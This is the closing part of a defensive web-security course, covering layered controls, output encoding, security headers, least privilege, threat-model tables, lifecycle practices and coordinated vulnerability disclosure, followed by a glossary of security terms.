Guide Nº 19 (applied cryptography) covers package signing, artifact attestation, and hash verification — the mechanisms behind --frozen-lockfile, integrity hashes, and provenance attestation. What this module adds is the reasoning above them: the lockfile's integrity hash proves you installed the same bytes as last time, which is exactly what made the anomaly visible, and proves nothing about whether those bytes are benign.

The practical program is unglamorous and effective. Commit lockfiles and read their diffs, treating an unrequested version change as an incident until explained. Pin direct dependencies to exact versions and upgrade deliberately. Run npm ci and pip install --require-hashes in CI so builds cannot silently resolve something new. Disable install scripts where your toolchain permits it. Run automated vulnerability scanning so the known-CVE case is handled mechanically. And reduce blast radius: CI credentials scoped per job, no production secrets in build environments, and the least-privilege instance role from module 4 doing double duty here.

Module 08 Defense in depth, done for real

The walk is finished. Six findings, each pinned to a crossing on the map from module 1, each with a fix that named the guide owning the underlying defense. What remains is the part that determines whether any of it holds: how you build so that the next feature does not reintroduce the class, and how security gets done as a practice rather than as an annual event.

Three ideas carry this module. Layering: controls are designed on the assumption that other controls will fail, which is a different design goal from making each control excellent. Encoding over validation: filtering input reduces surface, but escaping for the destination is the thing that actually guarantees the property — a distinction that has now appeared in four modules and deserves stating in general form. And systematizing the boundary question from module 1 into a repeatable pass, so that finding these bugs stops depending on whether someone happened to think adversarially that afternoon.

Why one control is never the plan

"We have a firewall." "Everything is over HTTPS." "There's a WAF in front of it." Each of these is a true statement about a real control, and each is offered as an answer to a question it does not address. The failure is not that the control is bad; it is that a single control is a plan whose success probability equals that control's success probability, forever, against every attacker.

Defense in depth starts from the opposite assumption: every layer will fail sometimes — to a bug, a misconfiguration, a bypass, or an engineer in a hurry — and the design goal is that no single failure is catastrophic. This reframes what a good layer is. A good layer is not the one that is hardest to defeat; it is the one that fails independently of the others. Two excellent controls that both depend on your application code being correct are, for design purposes, closer to one control.

The stored XSS attack from module 3 attempted against four successive independent layers, each labeled with what it stops and what it assumes about the others failingOne attack, four independent layersStored XSS payloadin a tasting noteLayer 1 · Input handlinglength caps, type checks, allowlist sanitizer for rich textstops: crude payloads, oversized inputassumes: it will miss novel encodingsbypassedLayer 2 · Contextual output encodingescape per destination: body, attribute, URL, JSstops: the class — this is the real fixassumes: one sink somewhere is missedone sink missedLayer 3 · Content-Security-Policyscript-src 'self'; no inline handlers; no unsafe-evalstops: execution and exfiltrationassumes: policy may be too loosescript runs anywayLayer 4 · HttpOnly cookie + short session + re-auth for sensitive actionsstops: durable credential theft — bounds the incident to one live tab rather than a persistent takeover
Figure 8.1 — The same attack, stopped four times. Input handling, contextual output encoding, Content-Security-Policy, and cookie hardening each act on the stored-XSS payload at a different stage, and each is annotated with what it assumes about the layers before it. The layers are independent in the sense that matters: encoding lives in application code, CSP is enforced by the browser from a header, and HttpOnly changes what a successful script can carry away. Layer 2 is the fix; the others exist because layer 2 will one day be missed on one sink.

Read the annotations rather than the boxes. Layer 1 assumes it will miss things, which is why it is not the fix. Layer 2 is the actual repair and assumes one sink will eventually be forgotten in a codebase that grows. Layer 3 is enforced by the browser from a header, so it holds even when application code is wrong — and assumes the policy itself may be too permissive. Layer 4 does not prevent anything; it bounds the outcome. That progression, from prevention to containment, is what a defense-in-depth design looks like when it is honest about failure.

The anti-pattern: one-control thinking

Symptom: a security question answered with a single noun — "we have a WAF," "it's behind the VPN," "the data's encrypted." Why it survives: the statement is true, it names a real control someone paid for, and it ends the conversation. Corrective: require every control claim to be accompanied by its failure mode and by what stands behind it. "The WAF blocks known injection patterns; if it is bypassed, parameterized queries prevent the class; if a raw query is introduced, the database user has read-only access to three tables." That is a plan. One noun is a purchase.

Input validation versus output encoding

This distinction has now appeared four times — parameterization versus sanitizing in module 2, encoding versus filtering in module 3, allowlisting destinations in module 4, type-checking before a document query in module 2 — and it is the same principle each time, so it is worth stating generally.

Input validation asks: is this value acceptable? It is a filter, applied at entry, with no knowledge of where the value will eventually go. It is genuinely useful: rejecting a vintage that is not four digits or a note longer than 4,000 characters narrows the state space your code must handle, catches errors early, and produces good error messages. But its correctness argument is an enumeration — the set of unacceptable values — which is the shape of argument that degrades, as module 2 established.

Output encoding asks: how must this value be escaped for the specific place it is going? It is applied at the exit, where the destination is known, and its correctness argument is a mechanism: in this context, these characters have meaning, and encoding them removes it. That claim does not depend on predicting the input.

The load-bearing idea

Validation is a filter; encoding is the guarantee. One value may pass through four destinations — a SQL query, an HTML body, a URL, a log line — each needing different treatment, so there is no single "sanitized" state a value can be in. Escaping is a property of the destination, not of the value, which is why input-time cleaning is structurally the wrong layer no matter how well it is implemented.

Generalize past HTML and the principle keeps working. Values reaching a shell go as an argv list rather than a quoted string. Values reaching a document database are type-asserted. Values reaching a log are encoded so that a note containing a newline cannot forge a second log entry — log injection is a real technique for hiding activity from a reader or a SIEM. Values reaching a CSV export are prefixed so a cell beginning with = is not interpreted as a formula when a collector opens their export in Excel. Same principle, five destinations, five encodings.

For the litigator's ear

The two arguments have the shapes of a rule and a standard. Blocklisting is a standard — it asks whether a given input is bad enough, and its application shifts with context and with the drafter's foresight. Encoding is a rule — it specifies an operation that either was or was not performed. Rules are less flexible and enormously more auditable, and security engineering prefers them for the same reason a well-drafted contract prefers a bright line to a reasonableness test: you can determine compliance by inspection, without reconstructing anyone's intent.

Security headers and least privilege

Two categories of cheap layer, both worth setting globally rather than debating per-feature.

Headers. Content-Security-Policy is the one that matters most and costs most to adopt, because a strict policy requires removing inline scripts and handlers from your own templates — which is the work, and why the header is so often set to something permissive enough to be decorative. Start with report-only mode, collect violations, fix your own code, then enforce. Strict-Transport-Security forces HTTPS on every request after the browser has seen the header once; the first-ever request to a domain the browser has never met stays vulnerable to downgrade unless the domain is on the HSTS preload list baked into the browser. X-Content-Type-Options: nosniff stops the browser from second-guessing your content type, which is how an uploaded file gets treated as HTML. frame-ancestors handles clickjacking from module 3. Referrer-Policy stops URLs — which, as module 5 noted, may contain identifiers — leaking to third parties.

Least privilege is the more powerful of the two, because it operates on blast radius rather than on likelihood, and blast radius is what determines whether an incident is a bad week or an existential event. Applied concretely to the wine cellar: the application's database user has no DROP and no access to the audit schema, so a successful injection cannot destroy history. The worker's instance role writes to one S3 prefix, so the module 4 credential theft yields almost nothing. CI jobs hold credentials scoped to the job, so the module 7 supply-chain incident cannot publish packages. Sessions carry the role the user actually has, so a vertical escalation has less to escalate to.

Notice that each of those was already the recommended fix for a specific finding. That is the point: least privilege is not an additional workstream, it is the same decision made consistently at every point where a principal is granted access to something. The reason to name it as a principle is that it is what makes the difference between the sentence "an attacker obtained credentials" and the sentence "an attacker obtained credentials that could write thumbnails to one bucket prefix."

Threat modeling lite

Threat modeling has a reputation problem, earned by heavyweight versions that produce a forty-page document nobody reads. The lightweight version is just module 1's boundary question, asked systematically, on a cadence, over a table.

For each crossing on your map, four columns: what does the receiving side trust about what arrives; who supplies it; what happens if that trust is abused; and what control makes the abuse ineffective. Four columns, one row per crossing, done at design time for a new feature or in an hour for an existing system. The output is not a document to file — it is a list of controls that either exist or become work items.

Threat model table applying trusts, supplied-by, abuse, and control columns to each numbered crossing from the module 1 boundary mapThe boundary question, systematized — closing the loop to Figure 1.1CrossingTrustsSupplied byAbuseControl2 · API→DBtext is the intended querysearch boxinput becomes syntax (m2)bind parameters · Nº 063 · DB→renderstored rows are safe markupany note authorscript in the origin (m3)contextual encoding + CSP1 · browser→APIthe request was intendedany page in any tabforged state change (m3)SameSite + token · Nº 146 · worker→netURL points at a labelany authed usermetadata credential theft (m4)allowlist + IMDSv2 · Nº 161 · path paramcaller may see this objectthe callerIDOR, whole table (m5)data-layer scoping · Nº 051 · logincorrect password = owneranyone with a corpusstuffing takeover (m6)MFA everywhere · Nº 158 · registry→buildpackages are what they were374 maintainersmalicious update (m7)lockfile diffs, scoped CI · Nº 27Every finding in this course is one row of this table, and the table was derivable before any of them was found.A new feature adds rows; a row with an empty control column is the work item.
Figure 8.2 — The boundary question as a repeatable pass. Each row takes one crossing from the master map and records what the receiving side trusts, who supplies it, how the trust is abused, and the control that defeats the abuse. All six pentest findings appear as rows, and every one was derivable from the map before the test ran — which is the argument for doing this at design time. An empty control cell is not a document, it is a ticket.

Three practical notes. Do it at design time, when the answer is a paragraph in a design doc rather than a migration. Time-box it — an hour for a feature, half a day for a system — because a threat model that competes with shipping loses. And keep the artifact in the repository next to the code, so it is updated by the same pull request that adds a crossing, rather than becoming a document that describes last year's architecture with increasing confidence.

Building it into the lifecycle

Security as a phase produces a report. Security as a property of the lifecycle produces systems that stay fixed, and the difference shows up entirely in what happens after a finding.

The distribution across the lifecycle is unremarkable and each piece has appeared already. Design: the threat-model pass, and the architectural decisions that cap blast radius — an egress proxy, a scoped role, a separated CI environment. Implementation: defaults that make the unsafe path require effort — a repository with no unscoped fetch, a template engine that escapes by default, a lint rule failing on concatenated SQL. Review: a short checklist keyed to the classes you actually ship, not a generic list. Dependencies: lockfile diffs read, scanning automated. Deployment: headers set globally, secrets fetched at runtime, least-privilege roles. Operation: logs that would let you answer "what did this principal access" during an incident, which is a decision made long before the incident.

The anti-pattern: the pentest report as a checklist

Symptom: a report's findings closed one by one — the IDOR on /api/cellars/:id is fixed, the XSS on the note field is fixed — and the engagement marked complete. Why it survives: it is measurable, it satisfies the auditor, and the tickets genuinely close. Corrective: read each finding as an instance of a class and ask three questions: where else does this class occur (the other 33 handlers), what made it possible (no enforcement point where omission fails closed), and what would prevent the next one (data-layer scoping, a lint rule, a default). A tester who found one IDOR found the first one they tried, not the only one — the sampling was theirs and the population is yours.

Which raises the honest thing to say about pentests: a report is a sample, and its most useful content is the class distribution, not the instance list. If a tester found a missing authorization check in the first hour, the finding is not "that endpoint" — it is that your architecture permits authorization to be omitted silently. Fixing the endpoint costs an hour and changes nothing structural. Fixing the class costs a week and retires the category.

Disclosure as engineering

Someone will eventually email you about a vulnerability. How that email is handled is a real control, because the alternative to a report you receive is one you do not.

The engineering version has five steps and no drama. Intake: a published security.txt and a monitored address, so a finder does not have to guess — most bad disclosure experiences begin with a reporter unable to find anyone to tell. Acknowledge within a stated window, typically 72 hours, because silence is what pushes reporters toward public posting; from their side, silence and ignoring are indistinguishable. Triage against the class, using the questions from the previous section. Fix, validate, and tell the reporter — they are usually the only person who will verify your fix competently, and they will do it free. Coordinate disclosure: agree a date, credit them, and publish something honest.

Timeline comparing an engineering disclosure process with the public-relations anti-pattern beneath itTwo responses to the same emailAs engineeringreport receivedday 0acknowledged, triagedday 2instance fixed, reporter verifiesday 9class fixed — enforcement pointday 24coordinated disclosureday 30, creditedAs PR damage controlreport receivedday 0routed to legal, no replyday 1–20reporter publishes publiclyday 21emergency fix, instance onlyday 21, class remainsSame email, same bug. The lower path also teaches every future finder to skip you and publish.
Figure 8.3 — Disclosure, two ways. The engineering path acknowledges quickly, uses the reporter to validate the fix, spends the bulk of its time retiring the class rather than the instance, and publishes with credit. The damage-control path routes to legal, leaves the reporter in silence they cannot distinguish from being ignored, and arrives at an emergency fix on the reporter's schedule instead of its own — with the class still open and a reputation among finders that guarantees the next report goes straight to publication.
The anti-pattern: disclosure as reputational management

Symptom: the first response to a good-faith report is drafted by someone whose job is risk to the company rather than risk to users — a demand to keep it confidential, a suggestion that testing violated terms of service, silence. Why it survives: it is locally rational; the report is a reputational risk, and the instinct to control it is genuine. Corrective: the finder is the least dangerous person who will ever hold this information, and treating them as adversarial does not unlearn what they know — it only removes your notice period and teaches the next finder to publish first. A safe-harbor statement, an acknowledgment SLA, and public credit cost almost nothing and change the entire population of people willing to tell you.

That is the closing thought for the course. Everything here — the boundary map, the six findings, the layered controls, the threat-model table — is in service of one shift that happened in module 1: you now describe features by the capabilities they grant rather than the behaviors they perform. The vulnerability classes will keep changing. The question does not: what does this trust, and who gets to supply it?

Concept index

Trust boundary
A line where data or control passes from a party you control to one you don't.
Attack surface
The enumerable set of points where an attacker can supply input or interact with a system.
Threat model
A structured pass asking, of each boundary crossing, what it trusts and how that trust could be abused.
Injection
Any flaw where untrusted data is interpreted as code because data and code share a channel.
SQL injection
Injection into a database query, letting attacker input alter the query's structure.
Parameterized query
A query whose text and data travel on separate channels, so input can never become syntax.
Blocklist sanitization
Filtering known-bad input; unreliable because malice can always be re-encoded.
Cross-site scripting (XSS)
Injecting script that executes in the victim's browser within your origin.
Stored, reflected, DOM XSS
XSS variants distinguished by where the payload lives and where it executes.
Output encoding
Escaping data for the exact context it is rendered into; the durable fix for XSS.
CSRF
Forcing a victim's browser to send an authenticated request the attacker composed.
SameSite cookie
A cookie attribute that withholds credentials on cross-site requests, defusing CSRF.
Clickjacking
Tricking a user into clicking a hidden framed UI element; stopped by frame-ancestors.
SSRF
Coercing a server into making attacker-chosen requests from its privileged network position.
Instance metadata endpoint
A link-local address returning an instance's temporary cloud credentials; a prime SSRF target.
Allowlist
Permitting only known-good values; the reliable counterpart to a blocklist.
DNS rebinding
Making a hostname resolve to a safe address at validation time and an internal one at fetch time.
Broken access control
Failing to enforce what an authenticated user may do or touch.
IDOR
Accessing another user's object by supplying its identifier, absent an ownership check.
Horizontal escalation
Reaching another user's data at your own privilege level.
Vertical escalation
Gaining a higher privilege level than the one you were granted.
Authorization vs. authentication
Authentication proves identity; authorization decides permission.
Credential stuffing
Replaying leaked username and password pairs at scale against a login.
Session fixation
Riding a session whose identifier was set before login and never rotated.
User enumeration
Learning which accounts exist from differential responses or timing.
Multi-factor authentication
A control that survives a correct-password submission by requiring a second factor.
Sensitive-data exposure
Leaking secrets or personal data through code, logs, errors, or over-broad responses.
Secret sprawl
Credentials scattered across source, config, logs, and client bundles.
Insecure deserialization
Reconstructing objects from untrusted serialized input, enabling attacker-controlled code paths.
Supply-chain attack
Compromise reaching you through a dependency you installed, often a transitive one.
Typosquatting
Publishing a malicious package under a name resembling a popular one.
Lockfile and version pin
A record of exact dependency versions that both detects and freezes changes.
Defense in depth
Layering independent controls so that no single failure is catastrophic.
Least privilege
Granting each principal only the access it needs, shrinking blast radius.
Content-Security-Policy
A header constraining which scripts and resources a page may load, containing XSS.
Responsible disclosure
Handling inbound vulnerability reports as a coordinated engineering process.

This is the complete text of the course. With JavaScript enabled, this same page runs the interactive edition — a self-diagnostic that reorders the syllabus around your gaps, knowledge checks, applied worksheets with model answers, and a spaced-repetition review queue — with progress saved locally in your browser.